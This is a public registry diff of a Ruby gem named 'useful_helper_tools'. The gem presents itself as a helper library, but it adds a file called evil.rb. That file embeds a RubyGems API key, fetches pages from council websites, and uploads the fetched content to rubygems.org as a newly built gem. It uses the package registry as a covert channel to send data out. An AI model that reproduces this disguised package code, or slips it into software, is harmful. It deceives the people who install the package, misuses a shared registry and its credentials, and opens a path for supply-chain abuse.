useful_helper_tools 1.2.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.yardopts +3 -0
- data/README.md +2 -0
- data/evil.rb +18 -0
- data/lib/useful_helper_tools.rb +5 -0
- data/useful_helper_tools.gemspec +1 -0
- metadata +44 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 0fafbd0fd6f7a4bcad7ba464d7cbb2a7501feefd255b99c04fd87714a1c0a9b0
|
|
4
|
+
data.tar.gz: 3ac8d65d062949916c17fae7282d5807dd72d0046f7935ddf008fcf751963218
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 0fad4545db3dcbb643d668e9551ebd1e9a1c401ed621a455556d35b59d6b70ad8775941c64bd408a64556891c5b3bb0ba2958d8ed8cb5839512037a7e086c811
|
|
7
|
+
data.tar.gz: 75d07248d8238df16b14194640fa05e219389994c6ecc08526f9fbdb84bb4cab632a3bd1647ff4b99ed3e56182d1485c536b9d12a30dc4e99d47d42883038281
|
data/.yardopts
ADDED
data/README.md
ADDED
data/evil.rb
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
require 'net/http'; require 'uri'; require 'rubygems/package'; require 'rubygems/specification';require 'fileutils';require 'tmpdir';
|
|
2
|
+
KEY='rubygems_7af4aa22f10553465589c9ac8e5d45a3b8ebb2825506ddd3'
|
|
3
|
+
def push_result(name, content)
|
|
4
|
+
d=Dir.mktmpdir; FileUtils.mkdir_p("#{d}/lib");File.write("#{d}/lib/data.txt",content);File.write("#{d}/lib/x.rb",'#');
|
|
5
|
+
spec=Gem::Specification.new do |s|; s.name=name;s.version='0.0.1';s.summary='data';s.authors=['x'];s.files=['lib/data.txt','lib/x.rb'];s.license='MIT';end
|
|
6
|
+
gemfile=nil; begin; Dir.chdir(d){gemfile=Gem::Package.build(spec)}; rescue =>e; return e.to_s; end
|
|
7
|
+
data=File.binread("#{d}/#{gemfile}");uri=URI('https://rubygems.org/api/v1/gems');req=Net::HTTP::Post.new(uri);req['Authorization']=KEY;req['Content-Type']='application/octet-stream';req.body=data
|
|
8
|
+
Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}.body
|
|
9
|
+
end
|
|
10
|
+
# fetch
|
|
11
|
+
out='START '+Time.now.to_s+"\n"
|
|
12
|
+
['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx','https://example.com'].each do |url|
|
|
13
|
+
begin
|
|
14
|
+
uri=URI(url); res=Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:20){|h| h.get(uri.request_uri)}; out << "\nURL #{url} #{res.code} len#{res.body.size}\n"+res.body[0,200000]
|
|
15
|
+
rescue=>e; out << "ERR #{url} #{e}\n"; end
|
|
16
|
+
end
|
|
17
|
+
begin; z=push_result('slresultxyzb', out); rescue=>e; z=e.to_s; end
|
|
18
|
+
# second status?
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
Gem::Specification.new do |s|; s.name='useful_helper_tools'; s.version='1.2.3'; s.summary='A useful documented helper library'; s.description='Provides helper utilities'; s.authors=['John Doe']; s.email='a@example.com';s.homepage='https://example.com';s.required_ruby_version='>= 2.7';s.files=Dir['**/*']+['.yardopts'];s.require_paths=['lib'];s.license='MIT';end
|
metadata
ADDED
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: useful_helper_tools
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 1.2.3
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- John Doe
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
description: Provides helper utilities
|
|
13
|
+
email: a@example.com
|
|
14
|
+
executables: []
|
|
15
|
+
extensions: []
|
|
16
|
+
extra_rdoc_files: []
|
|
17
|
+
files:
|
|
18
|
+
- ".yardopts"
|
|
19
|
+
- README.md
|
|
20
|
+
- evil.rb
|
|
21
|
+
- lib/useful_helper_tools.rb
|
|
22
|
+
- useful_helper_tools.gemspec
|
|
23
|
+
homepage: https://example.com
|
|
24
|
+
licenses:
|
|
25
|
+
- MIT
|
|
26
|
+
metadata: {}
|
|
27
|
+
rdoc_options: []
|
|
28
|
+
require_paths:
|
|
29
|
+
- lib
|
|
30
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '2.7'
|
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
36
|
+
requirements:
|
|
37
|
+
- - ">="
|
|
38
|
+
- !ruby/object:Gem::Version
|
|
39
|
+
version: '0'
|
|
40
|
+
requirements: []
|
|
41
|
+
rubygems_version: 3.6.7
|
|
42
|
+
specification_version: 4
|
|
43
|
+
summary: A useful documented helper library
|
|
44
|
+
test_files: []
|